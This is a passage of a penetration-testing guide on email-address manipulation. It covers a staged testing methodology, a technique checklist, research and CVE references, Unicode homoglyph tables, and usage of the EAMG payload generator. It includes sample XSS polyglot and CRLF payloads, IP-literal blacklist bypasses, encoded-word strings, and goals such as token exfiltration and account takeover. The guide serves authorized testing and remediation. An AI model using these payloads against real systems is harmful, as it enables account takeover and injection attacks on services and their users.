   • This decision must be based on business logic, not only security. If you need subaddressing, you must use other methods (such as rate limiting based on the canonicalized email) to prevent abuse.

2. Strict Parsing: Use standard, strict email parsing libraries and avoid manual Regexes (Custom Regex), which usually overlook Edge Cases.

3. Verification as Truth: Never trust merely “having an email”; ownership must be proven through a verification link (with a strong token).

---

6. Edge Cases Related to Domain/Address Parsing (Not General Injection)

Scope: Only techniques directly related to the email-address string / its domain. SSTI, XXE, File Globbing, Quishing, Mail Bomb, and DoS through Hard Bounce are outside the EAM definition and are not covered in this guide (if they appear in an email field, report them separately as general Injection/DoS).

6.1. Multi-Purpose Payloads in the Email Field (Probe Tool)

A Polyglot is not an independent finding; it is only useful for simultaneously discovering multiple contexts when testing an email field. In the report, name the actual vulnerability (for example, Stored XSS in the admin panel).

Example:

"user'"><img src=x onerror=alert(1)>"@example.com

The Quoted String structure may be accepted as an email by some parsers while special characters simultaneously reach the HTML/SQL layer. After Observe, exploit only the confirmed path.

6.2. Bypassing a Domain Blacklist with an IP Literal / Decimal

This relates to the domain part of the email address (not operational DoS).

Some pattern-based filters block only the x.x.x.x form or a textual domain name. RFC forms for an address-literal or decimal representation may reach the same destination without matching a simple blacklist:

• user@[127.0.0.1]
• user@[2130706433] (the decimal equivalent of 127.0.0.1 for some stacks)

Approximate IPv4 decimal formula: (o1×256³)+(o2×256²)+(o3×256)+o4

Use: Bypassing a pattern-based domain blacklist/WAF — not a claim of automatic SSRF. SSRF applies only if the service actually connects to that address and the Scope permits it.

Mitigation: Canonicalize the domain; do not accept IP literals except in explicit use cases.

6.3. Brief Note on Email Input in a Template/XML

If the email field is placed into a template or XML without escaping, SSTI/XXE classes may appear. These are not EAM; only note that the email field, like every other input, must be escaped/parameterized. General SSTI/XXE exploit details are outside this document.

---

Conclusion

This guide covered the principal Email Address Manipulation vectors and demonstrates how differences in email-string interpretation can lead to logic abuse, whitelist bypass, header injection, and Account Takeover — provided that Impact is proven.

Nature of This Document

This writing is a practical Playbook that structures published research for penetration testing (references are in the References section). Its practical value lies in the 8-step model, the strict EAM scope boundary, the Impact-oriented reporting criteria, and the EAMG tool — not in claiming the initial discovery of every technique.

Future Trends and Changes in Security

As security moves toward Cloud-Native security and Microservices architectures, attack vectors have shifted from Memory Corruption toward Logic Bugs and Misconfiguration. Email Address Manipulation is an example of this trend: attacks often exploit interpretation differences among different system layers (Application, Mail Server, Database).

Key points:

1. Email Equivalence (the Core golden point): Interpretation differences between layers are the core of many attacks. Plus/Dot and Unicode Normalization are common in bug bounty, but raise Severity only with high business/security Impact.

2. Logic Bugs > Memory Corruption: Focus primarily on logic bugs (such as ATO with Homograph or whitelist bypass with Truncation), rather than theoretical Buffer Overflow.

3. Parser Discrepancies: Encoded-word and SMTP Smuggling remain relevant in legacy or unpatched Enterprise/MTAs; do not expect default success against patched infrastructure.

4. Do not mix in out-of-scope issues: QR phishing, Mail Bomb, Bounce DoS, and general template/XML Injection are not subjects of this guide.

5. Staged testing, not payload flooding: Lightweight Probe → Observe → targeted Encode → Exploit with evidence. EAMG is for generation, not blind firing.

For pentesters:

• Use the Probe → Observe → Encode → Exploit methodology
• Use the one-page Quick Reference checklist at the start of an engagement
• Use the EAMG tool for targeted batch generation
• Test Legacy techniques in Internal/On-prem environments, not necessarily in every modern SaaS

Evidence and test scope: Every exploitation claim must be accompanied by reproducible evidence (request/response, observed version or behavior, and logs where possible). The success of a vector depends on the target, version, and configuration; testing must be performed only within the framework of written authorization.

For developers:

• Use strict, standard libraries for email parsing
• Always regard Email Verification as the sole source of truth
• Never use an email domain as the only authorization method

---

Appendix C: Penetration Testing Methodology

This section provides a practical checklist and systematic methodology for Email Address Manipulation penetration testing. A condensed version appears in the Quick Reference; the operational details are here.

Governing Principle: Staged, Impact-Oriented Testing

1. Generation ≠ sending: EAMG is for building payloads; blind Intruder runs against hundreds of strings without Observe are not recommended.
2. Scope priority: First, Equivalence / Validation Bypass / address-related Injection; then Encoded-word/Smuggling if there is an Enterprise/Legacy signal.
3. No Severity without Impact: Acceptance of a string alone is Informational unless abuse is proven.
4. Control side effects: Monitor Rate-limit, account lockout, and Hard Bounce; stop or slow testing when approaching a threshold.

Probe → Observe → Encode → Exploit Methodology

This four-stage methodology is designed to identify and exploit Email Address Manipulation vulnerabilities:

Stage 1: Probe

Goal: Identify system behavior with a small, controlled set

Actions:

1. Initial testing with simple payloads (5–10 items, not the full dictionary):

   • Plus Addressing: user+test@example.com
   • Dot Addressing: u.s.e.r@example.com (if the target is Gmail-like)
   • Case Variations: User@Example.com
   • Whitespace: user @example.com
   • One simple Homograph if Unicode is accepted

2. Observe the system response:

   • Is the email accepted?
   • Is there a validation error?
   • Is the email stored in the DB?
   • Is a verification email sent?

3. Review logs and HTTP responses:

   • Error messages
   • Response headers
   • Database queries (if visible)

Required tools:

• Burp Suite (Proxy)
• Browser DevTools
• EAMG with --category for limited generation, not --full on the first attempt

Stage 2: Observe

Goal: Identify interpretation differences between different layers

Actions:

1. Compare layer behavior:

   • Application Layer: How is the email processed in the registration form?
   • Database Layer: How is the email stored in the DB?
   • Mail Server: How is the email sent to the Mail Server?
   • UI Layer: How is the email displayed in the user interface?

2. Review Normalization:

   • Does the system normalize the email?
   • Is Plus/Dot Addressing stripped?
   • Is Unicode normalized?

3. Review Validation:

   • Which layer performs validation?
   • Is validation Client-side or Server-side?
   • Does validation occur in multiple layers?

Important notes:

• Always intercept the request in Burp Suite (bypass Client-side validation)
• Check the difference between JSON and Form-Data
• Test API endpoints directly
• If no layer discrepancy is observed, do not move to Encode flooding; change paths or close it as Informational

Stage 3: Encode

Goal: Use Encoding to bypass filters — only on paths that signaled during Observe

Actions:

1. Test Encoding related to the signal:

   • URL Encoding: user%40example.com
   • HTML Entity: user@example.com
   • Double/Triple Encoding: only if the WAF blocked the first layer
   • Unicode Encoding: Homograph characters

2. Test Encoded-word (RFC 2047) in Enterprise environments / when the mailer is suspicious:

   • Q-Encoding: =?utf-8?q?user=40example?=@domain.com
   • Base64: =?utf-8?b?dXNlckBleGFtcGxl?=@domain.com

3. Test Punycode:

   • Malformed Punycode: xn--42, xn--024
   • Unicode Homograph in the domain

Required tools:

• EAMG with a category filter (not necessarily --full)
• Burp Suite (Encode/Decode functions)

Stage 4: Exploit

Goal: Exploit identified vulnerabilities and prove Impact

Actions:

1. Email Equivalence:

   • Create multiple accounts with one Mailbox
   • Bypass Rate Limit / Trial — while documenting the business impact
   • Bypass Ban/Block

2. Injection Attacks:

   • CRLF Injection for Token Exfiltration
   • XSS in the admin panel
   • SQL Injection in Registration Forms

3. Domain Whitelist Bypass:

   • Truncation / Null Byte / Encoding — only with proof of domain access

Important notes:

• Always document Impact; do not rate it High without Impact
• Create a Proof of Concept (PoC)
• Use Responsible Disclosure
• Do not mix vectors outside the EAM scope into this stage

Technique Checklist by Priority

High Priority — Core; test in almost all web apps

1. Plus Addressing - user+tag@example.com
2. Dot Addressing - u.s.e.r@example.com (for Gmail)
3. Unicode Homograph - user@еxample.com (Cyrillic e)
4. CRLF Injection - %0d%0a in the email field
5. Email Truncation - for Domain Whitelist Bypass
6. URL/HTML Encoding - user%40example.com

Medium Priority — Conditional Core / Enterprise

7. LDAP Injection - for Active Directory
8. Encoded-word (RFC 2047) - when the mail library is suspicious
9. SMTP Smuggling - when control/access to the MTA path is meaningful
10. Secondary Injections - XSS, SQLi in the admin panel
11. Dangling Markup - on webmail/panels that sanitize HTML weakly

Low Priority — Legacy with a Signal

12. Route Addressing - @host1:user@example.com
13. UUCP Protocol - host!user@example.com
14. IMAP Injection - legacy webmail
15. IP literal/decimal in the domain - blacklist pattern bypass

Required Tools

Primary Tools

1. EAMG (Email Address Manipulation Generator)

   • Generate payloads with a category filter
   • JSON/simple output for Burp
   • Reserve --full for a laboratory or second phase

2. Burp Suite Professional

   • Proxy for intercepting requests
   • Intruder for targeted batch sending
   • Repeater for manual testing

3. Browser DevTools

   • Network / Response / JS validation

Supporting Tools

4. Python Scripts — custom testing and controlled automation
5. Email Testing Tools — Mailtrap / SMTP test sinks (instead of bombarding real inboxes)

Complete Scenario Example

Scenario: Testing a Registration Form

Stage 1: Probe

# Only the relevant category — not the full dictionary
# https://github.com/MHaghighian/EAMG
python3 EAMG.py user@example.com --category "Plus Addressing" --simple > payloads.txt

Stage 2: Observe

• In Burp Suite, intercept the Registration request
• Check whether Client-side validation exists
• Compare: stored value / UI display / email delivery destination

Stage 3: Encode (only if there was a signal)

python3 EAMG.py user@example.com --category "URL Encoding" --simple

Stage 4: Exploit + reporting

• If Plus Addressing worked and the trial/rate-limit was bypassed → Medium with business Impact
• If only multiple accounts were created without a security effect → Low or Informational according to program policy
• If CRLF led to Token Exfiltration → High with a PoC
• Do not mix vectors outside the EAM scope into this scenario

Important Notes for Pentesters

1. Always intercept the request: Bypass Client-side validation
2. JSON vs Form-Data differences: Some systems normalize only one of them
3. API Direct Access: If the API is accessible, test it directly
4. WAF Bypass: Use Double/Triple Encoding when the first layer blocked it — not as the first attempt
5. Legacy Systems: In Internal Pentest, also test Legacy techniques
6. Manage operational side effects: Account lockouts, Bounces, and SOC complaints indicate that the test rate should be reduced

---

References

Methodological note: This guide structures the findings of the following sources for field use—it does not claim their initial discovery. For citations, always refer to the primary source; this document’s summary is not a substitute for the research text.

1) Primary Research and Case Studies (Within the EAM Scope)

Source	Role in This Guide	Link
Gareth Heyes — PortSwigger Research (2024): Splitting the Email Atom	Core source for Encoded-word / Email Splitting; case studies of Github, Zendesk, and Gitlab Enterprise; Unicode overflow and malformed Punycode in parsers	https://portswigger.net/research/splitting-the-email-atom
Timo Longin — SEC Consult (Dec 2023): SMTP Smuggling – Spoofing E-Mails Worldwide	Public disclosure of SMTP Smuggling; real-infrastructure examples	https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/
Wang et al. — USENIX Security 2025: Email Spoofing with SMTP Smuggling: How the Shared Email Infrastructures Magnify this Vulnerability	Broader measurement of smuggling and the effect of shared infrastructure	https://www.usenix.org/conference/usenixsecurity25/presentation/wang-chuhan
Postfix (vendor): SMTP Smuggling	Official explanation of the attack and Postfix countermeasures	https://www.postfix.org/smtp-smuggling.html
Agari (Fortra): BEC Actors Exploiting Gmail “Dot Accounts”…	Primary source on operational abuse of Gmail Dot Addressing for fraud	https://www.agari.com/blog/bec-actors-exploit-google-dot-feature
Bruce Schneier (2019): Using Gmail "Dot Addresses" to Commit Fraud	Repost/analysis of the same Agari finding	https://www.schneier.com/blog/archives/2019/02/using_gmail_dot.html
Lauritz Holtmann (2025): Turning List-Unsubscribe into an SSRF/XSS Gadget	XSS from List-Unsubscribe in Horde; conditional SSRF in Nextcloud Mail	https://security.lauritz-holtmann.de/post/xss-ssrf-list-unsubscribe/

Note: The demonstrative lhq.at domain appears in the PoCs from that research; the canonical address of the blog post is the Holtmann link above (the old lhq.at/posts/... path is no longer valid).

2) RFC Standards (Directly Relevant to the Text)

Use the IETF Datatracker (tools.ietf.org is redirect-only):

RFC	Topic in the Article	Link
RFC 5322	Address format, comments, quoted-string, display-name, FWS	https://datatracker.ietf.org/doc/html/rfc5322
RFC 5321	SMTP, local-part length, source route (legacy), address-literal	https://datatracker.ietf.org/doc/html/rfc5321
RFC 2047	Encoded-word (=?charset?Q/B?...?=)	https://datatracker.ietf.org/doc/html/rfc2047
RFC 5233	Sieve Subaddress / Plus Addressing	https://datatracker.ietf.org/doc/html/rfc5233
RFC 2369	List-Unsubscribe	https://datatracker.ietf.org/doc/html/rfc2369
RFC 6531	SMTPUTF8 / internationalized email	https://datatracker.ietf.org/doc/html/rfc6531
RFC 6532	Internationalized email headers	https://datatracker.ietf.org/doc/html/rfc6532
RFC 8265	PRECIS (comparison/preparation of internationalized strings)	https://datatracker.ietf.org/doc/html/rfc8265

3) CVEs and Vulnerability Reports (With Precise Descriptions)

Identifier	Precise Description (Not a Slogan)	Link
CVE-2023-51764	Postfix: SMTP smuggling / spoofing dependent on non-standard End-of-DATA interpretation	https://nvd.nist.gov/vuln/detail/CVE-2023-51764
CVE-2024-27305	aiosmtpd before 1.4.5: inbound SMTP smuggling	https://nvd.nist.gov/vuln/detail/CVE-2024-27305 · Advisory: https://github.com/advisories/GHSA-pr2m-px7j-xg65
CVE-2024-21725	Joomla CMS: Inadequate escaping of mail addresses → XSS in output (not a “Punycode protocol bug”). Affected versions according to the Joomla advisory: 4.0.0–4.4.2 and 5.0.0–5.0.2	NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-21725 · Vendor: https://developer.joomla.org/security-centre/928-20240204-core-xss-in-mail-address-outputs.html
CVE-2025-68673	Horde: Stored XSS through a URI in List-Unsubscribe (documented in Holtmann’s research)	Along with the post: https://security.lauritz-holtmann.de/post/xss-ssrf-list-unsubscribe/
HackerOne #2224	Truncation / domain-restriction pattern later referenced in similar reports (for example, Legal Robot) against Phabricator	https://hackerone.com/reports/2224
HackerOne #2233	Related Phabricator report from the same period concerning email-domain restriction bypass	https://hackerone.com/reports/2233
Phabricator truncation (mechanism)	Known pattern: validate the full string → insert into a restricted column → truncate → bypass auth.email-domains; explained in Phabricator’s remediation commits with the reference “Via HackerOne” (related public reports: #2224 / #2233)	https://hackerone.com/reports/2224 · https://hackerone.com/reports/2233
HackerOne #2902856	Nextcloud Mail: Blind SSRF from List-Unsubscribe — vendor assessment: primarily dependent on allow_local_remote_servers	https://hackerone.com/reports/2902856

4) Supporting Sources (Supplementary Techniques in the Text)

Source	Use	Link
OWASP — CSV Injection	Secondary injection when email is exported to CSV/Excel	https://owasp.org/www-community/attacks/CSV_Injection
HackTricks — CRLF Injection	General CRLF / header-injection context (not a replacement for PortSwigger on Email Splitting)	https://book.hacktricks.xyz/pentesting-web/crlf-0d-0a

5) Tool

• EAMG: Generates Email Address Manipulation test payloads; it is not a substitute for observing behavior and proving impact (Appendix B).

6) Quick Mapping: “Claim in the Text → Source”

Claim in the Text	Required Source
Github / Zendesk / Gitlab email splitting	PortSwigger — Heyes
SMTP Smuggling mechanism and Postfix/aiosmtpd CVEs	SEC Consult + Postfix doc + NVD CVE-2023-51764 / CVE-2024-27305 + USENIX 2025
Real-world Dot Addressing fraud	Agari (+ Schneier)
Phabricator truncation + whitelist	HackerOne #2224/#2233 + upstream truncation explanation
Joomla mail-address XSS	CVE-2024-21725 / Joomla advisory (escaping), separate from the Github Encoded-word case study
List-Unsubscribe XSS/SSRF	Holtmann (+ CVE-2025-68673 for Horde; H1 #2902856 for Nextcloud)

---

Appendix A: Complete Homograph Tables

This appendix contains complete tables of similar-looking characters (Confusable Characters) used for penetration testing and detection rules.

A.1. Complete Table of Letter Confusables (A–Z)

Letter	Similar Characters	Unicode Points	Description
a	ɑ, α, а, ä, ā, ą, ａ	U+0251, U+03B1, U+0430, U+00E4, U+0101, U+0105, U+FF41	IPA, Greek, Cyrillic
b	Ь, β, Ƅ, ɓ, ｂ	U+042C, U+03B2, U+0184, U+0253, U+FF42	Greek, Cyrillic
c	с, č, ć, ç, ｃ, ʗ	U+0441, U+010D, U+0107, U+00E7, U+FF43, U+0297	Cyrillic, IPA
d	ԁ, ɗ, đ, ď, ｄ	U+0501, U+0257, U+0111, U+010F, U+FF44	Cyrillic, Latin
e	е, ē, ė, ë, ｅ	U+0435, U+0113, U+0117, U+00EB, U+FF45	Cyrillic, Latin
f	ƒ, ff, ｆ	U+0192, U+FB00, U+FF46	Latin, ligatures
g	ɡ, ğ, ģ, ġ, ｇ	U+0261, U+011F, U+0123, U+0121, U+FF47	IPA, Latin
h	һ, ħ, ḥ, ｈ	U+04BB, U+0127, U+1E25, U+FF48	Cyrillic, Latin
i	і, í, ī, ı, ｉ	U+0456, U+00ED, U+012B, U+0131, U+FF49	Cyrillic, Turkish
j	ј, ϳ, ʝ, ｊ	U+0458, U+03F3, U+029D, U+FF4A	Cyrillic, Greek
k	κ, ķ, ƙ, ｋ	U+03BA, U+0137, U+0199, U+FF4B	Greek, Latin
l	І, ļ, ł, ⅼ, ｌ	U+0406, U+013C, U+0142, U+217C, U+FF4C	Cyrillic, Latin
m	ⅿ, ṃ, ｍ	U+217F, U+1E43, U+FF4D	Roman numeral, Latin
n	ո, ń, ñ, ṅ, ｎ	U+0578, U+0144, U+00F1, U+1E45, U+FF4E	Armenian, Latin
o	о, ο, ö, ø, ō, ｏ	U+043E, U+03BF, U+00F6, U+00F8, U+014D, U+FF4F	Cyrillic, Greek
p	р, ρ, þ, ｐ	U+0440, U+03C1, U+00FE, U+FF50	Cyrillic, Greek
q	ɋ, գ, ｑ	U+024B, U+0563, U+FF51	IPA, Armenian
r	г, ř, ṙ, ｒ	U+0433, U+0159, U+1E59, U+FF52	Cyrillic, Latin
s	ѕ, ś, ș, ş, ṡ, ｓ	U+0455, U+015B, U+0219, U+015F, U+1E61, U+FF53	Cyrillic, Latin
t	τ, ţ, ț, ṭ, ｔ	U+03C4, U+0163, U+021B, U+1E6D, U+FF54	Greek, Latin
u	υ, ս, ü, ū, ų, ｕ	U+03C5, U+057D, U+00FC, U+016B, U+0173, U+FF55	Greek, Armenian
v	ν, ѵ, ṽ, ｖ	U+03BD, U+0475, U+1E7D, U+FF56	Greek, Cyrillic
w	ѡ, ա, ẅ, ｗ	U+0461, U+0561, U+1E85, U+FF57	Cyrillic, Armenian
x	х, ×, ｘ	U+0445, U+00D7, U+FF58	Cyrillic, math
y	у, ÿ, ỳ, ỵ, ｙ	U+0443, U+00FF, U+1EF3, U+1EF5, U+FF59	Cyrillic, Latin
z	ź, ż, ž, ƶ, ｚ	U+017A, U+017C, U+017E, U+01B6, U+FF5A	Latin

A.2. Complete Table of Symbol and Punctuation Confusables

Symbol	Similar Characters	Unicode Points	Description
.	。 • · ・ ︒	U+3002, U+2022, U+00B7, U+30FB, U+FE12	CJK, bullet
,	، ‚ ︐ 、	U+060C, U+201A, U+FE10, U+3001	Arabic, CJK
!	！ ❗ ❕ ⁉	U+FF01, U+2757, U+2755, U+2049	Fullwidth, emoji
?	؟ ⁇ ︖	U+061F, U+2047, U+FE16	Arabic, CJK
:	： ∶ ː ︓	U+FF1A, U+2236, U+02D0, U+FE13	ratio, fullwidth
;	؛ ⁏ ︔	U+061B, U+204F, U+FE14	Arabic, CJK
/	⁄ ∕ ⧸	U+2044, U+2215, U+29F8	math slashes
\	∖ ⧵	U+2216, U+29F5	math backslash
<	‹ « ⟨ ˂	U+2039, U+00AB, U+27E8, U+02C2	quotes, math
>	› » ⟩ ˃	U+203A, U+00BB, U+27E9, U+02C3	quotes, math
-	− ‒ – — ― －	U+2212, U+2012, U+2013, U+2014, U+2015, U+FF0D	dashes, minus
( )	（ ）	U+FF08, U+FF09	fullwidth
[ ]	［ ］	U+FF3B, U+FF3D	fullwidth
{ }	｛ ｝	U+FF5B, U+FF5D	fullwidth
@	@,＠	U+0040, U+FF20	Fullwidth
#	＃	U+FF03	Fullwidth
$	＄	U+FF04	Fullwidth
%	％, ٪	U+FF05, U+066A	Fullwidth, Arabic
+	＋ ∔ ⨁	U+FF0B, U+2214, U+2A01	Math
=	＝ ≈ ≡	U+FF1D, U+2248, U+2261	Math

A.3. Complete Homoglyph Digit Table

Digit	Fullwidth	Arabic-Indic	Persian	Math Double-Struck	Math Sans-Serif	Math Sans-Serif Bold	Superscript	Subscript
0	０ (U+FF10)	٠ (U+0660)	۰ (U+06F0)	𝟘 (U+1D7D8)	𝟢 (U+1D7E2)	𝟬 (U+1D7EC)	⁰ (U+2070)	₀ (U+2080)
1	１ (U+FF11)	١ (U+0661)	۱ (U+06F1)	𝟙 (U+1D7D9)	𝟣 (U+1D7E3)	𝟭 (U+1D7ED)	¹ (U+00B9)	₁ (U+2081)
2	２ (U+FF12)	٢ (U+0662)	۲ (U+06F2)	𝟚 (U+1D7DA)	𝟤 (U+1D7E4)	𝟮 (U+1D7EE)	² (U+00B2)	₂ (U+2082)
3	３ (U+FF13)	٣ (U+0663)	۳ (U+06F3)	𝟛 (U+1D7DB)	𝟥 (U+1D7E5)	𝟯 (U+1D7EF)	³ (U+00B3)	₃ (U+2083)
4	４ (U+FF14)	٤ (U+0664)	۴ (U+06F4)	𝟜 (U+1D7DC)	𝟦 (U+1D7E6)	𝟰 (U+1D7F0)	⁴ (U+2074)	₄ (U+2084)
5	５ (U+FF15)	٥ (U+0665)	۵ (U+06F5)	𝟝 (U+1D7DD)	𝟧 (U+1D7E7)	𝟱 (U+1D7F1)	⁵ (U+2075)	₅ (U+2085)
6	６ (U+FF16)	٦ (U+0666)	۶ (U+06F6)	𝟞 (U+1D7DE)	𝟨 (U+1D7E8)	𝟲 (U+1D7F2)	⁶ (U+2076)	₆ (U+2086)
7	７ (U+FF17)	٧ (U+0667)	۷ (U+06F7)	𝟟 (U+1D7DF)	𝟩 (U+1D7E9)	𝟳 (U+1D7F3)	⁷ (U+2077)	₇ (U+2087)
8	８ (U+FF18)	٨ (U+0668)	۸ (U+06F8)	𝟠 (U+1D7E0)	𝟪 (U+1D7EA)	𝟴 (U+1D7F4)	⁸ (U+2078)	₈ (U+2088)
9	９ (U+FF19)	٩ (U+0669)	۹ (U+06F9)	𝟡 (U+1D7E1)	𝟫 (U+1D7EB)	𝟵 (U+1D7F5)	⁹ (U+2079)	₉ (U+2089)

---

Appendix B: EAMG Tool (Email Address Manipulation Generator)

Introduction

EAMG (Email Address Manipulation Generator) is an offline payload generator for email-address manipulation strings during penetration testing. It expands categories (Plus/Dot, encodings, CRLF variants, polyglots, etc.) for use in Burp Intruder / similar tools after Probe/Observe.

• GitHub repository: https://github.com/MHaghighian/EAMG
• Focus on EAM vectors and observing behavior; EAMG is not a replacement for Probe/Observe and proof of impact.
• If the tool also generates out-of-scope or Legacy payloads, do not launch them without a signal.

Honest limitations (read before calling it a “strength”)

EAMG does	EAMG does not
Generate categorized email-string variants from one seed address	Scan, fingerprint MTAs, or prove Impact
Support --simple / --json / --category / --filter / --full	Guarantee payloads match the target’s patched library/MTA
Help after you know which technique class matters	Replace staged testing or human observation
Run with Python 3 stdlib only	Stay automatically synced with every new CVE/patch

Treat EAMG as a dictionary builder, not an exploit framework. Blind --full into Intruder creates noise, lockouts, and bounce risk.

Installation

git clone https://github.com/MHaghighian/EAMG.git
cd EAMG
python3 EAMG.py user@example.com --help

Prerequisite: Python 3.6+ (standard library only).

Capabilities: JSON / Simple / Formatted output, --category and --filter filters, --stats, and --full for broader permutations.

Usage

# Basic usage
python3 EAMG.py user@example.com

# JSON output (for Burp Suite)
python3 EAMG.py user@example.com --json

# Payloads only (for Burp Intruder)
python3 EAMG.py user@example.com --simple > payloads.txt

# Full Mode (generates all permutations)
python3 EAMG.py user@example.com --full

# Filter by category
python3 EAMG.py user@example.com --category "SQL Injection"

# Display statistics
python3 EAMG.py user@example.com --stats

Main Parameters

Parameter	Description	Example
email	Target email address (required)	user@example.com
--json	JSON output with metadata	--json
--simple	Payloads only (without category)	--simple
--full	Generate all permutations	--full
--category	Filter by category	--category "SQL Injection"
--filter	Filter by string	--filter "XSS"
--stats	Display statistics	--stats
--verbose	Display detailed logs	--verbose

Technique Categories in EAMG

1. Email Equivalence - Plus/Dot Addressing, Unicode Homograph, etc.
2. Validation Bypass - Truncation, Null Byte, Encoding Tricks
3. Injection Attacks - CRLF, XSS, SQLi, LDAP, IMAP
4. Display Name - Spoofing (RFC boundary)
5. Infrastructure & Parser - Route Addressing, Encoded-word, SMTP Smuggling
6. Domain edge probes - Polyglots, IP Decimal (testing tools; not independent findings)

Burp Suite Example

python3 EAMG.py user@example.com --category "Plus Addressing" --simple > payloads.txt

Then in Intruder: Payloads → Load → Sniper on the email field. Start with light probes, then targeted encoding—not blind --full.

Links

• Repository: https://github.com/MHaghighian/EAMG
• Repository README: details on ethics, workflow, and the CLI
• Quick Reference (this page): Engagement checklist & Impact criteria
• Projects page: EAMG on mhsec.me

Use --full and bulk Intruder only after Probe/Observe, with Rate/Bounce controls.